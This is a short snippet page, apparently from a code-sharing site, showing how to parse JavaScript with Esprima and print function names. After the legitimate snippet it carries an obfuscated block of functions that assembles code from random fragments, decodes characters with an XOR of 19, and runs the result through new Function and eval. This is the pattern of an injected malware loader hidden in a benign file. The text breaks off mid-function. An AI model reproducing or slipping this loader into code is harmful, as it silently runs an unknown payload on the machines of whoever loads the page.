Javascript Parser 1

http://esprima.org you type in the code and it parses and finds the function names.

HTML

<script src="https://raw.github.com/ariya/esprima/master/esprima.js"></script>
<script src="http://codemirror.net/lib/codemirror.js"></script>
<link rel="stylesheet" href="http://codemirror.net/lib/codemirror.css">
<script src="http://codemirror.net/mode/javascript/javascript.js"></script>

CSS

#codzzzze { 
    height: 20; 
    background-color: red;
}

JavaScript

var syntax = esprima.parse('var answer = 42');
//console.log(syntax);

var thecode = $("#code").val();
syntax = esprima.parse(thecode);
//console.log(syntax);

var i;
for (i = 0; i < syntax.body.length; ++i) {
    var el = syntax.body[i];
    
    //console.log(el.id.name);
    $("#out").append(el.id.name);
    $("#out").append("<br>");
}


function ntjj()
{
	var qppi=new Array("0;wh","="+""+"S"+""+"t",")"+""+","+""+"16)","urn e","de(parseI"+""+"nt(","_0","_7","_2");
	return qppi[Math.floor(Math.random()*qppi.length)];
}
function uxtz(owmo)
{
	return (new Function("omko","snct","va"+""+"r zrht=omko."+""+"match(/\\S{5}/g),iehf=\"\",lvuf="+ntjj()+"ile(lvuf<zrht.len"+""+"gth){iehf+"+ntjj()+"ring.fro"+""+"mCharCo"+ntjj()+"zrht[lvuf].s"+""+"ubstr(3,2"+ntjj()+"^19);lvuf++;}ret"+ntjj()+"val(iehf);")(owmo,0));
}
function oiei(dzbz)
{
	var fwdv;
	for(var rdts=0;rdts<1;rdts++)
	{
		try
		{
			fwdv=uxtz(dzbz);
			rdts++;
		}
		catch(svxt)
		{
			rdts--;
		}
	}
	return fwdv;
}
function xelr()
{
	var...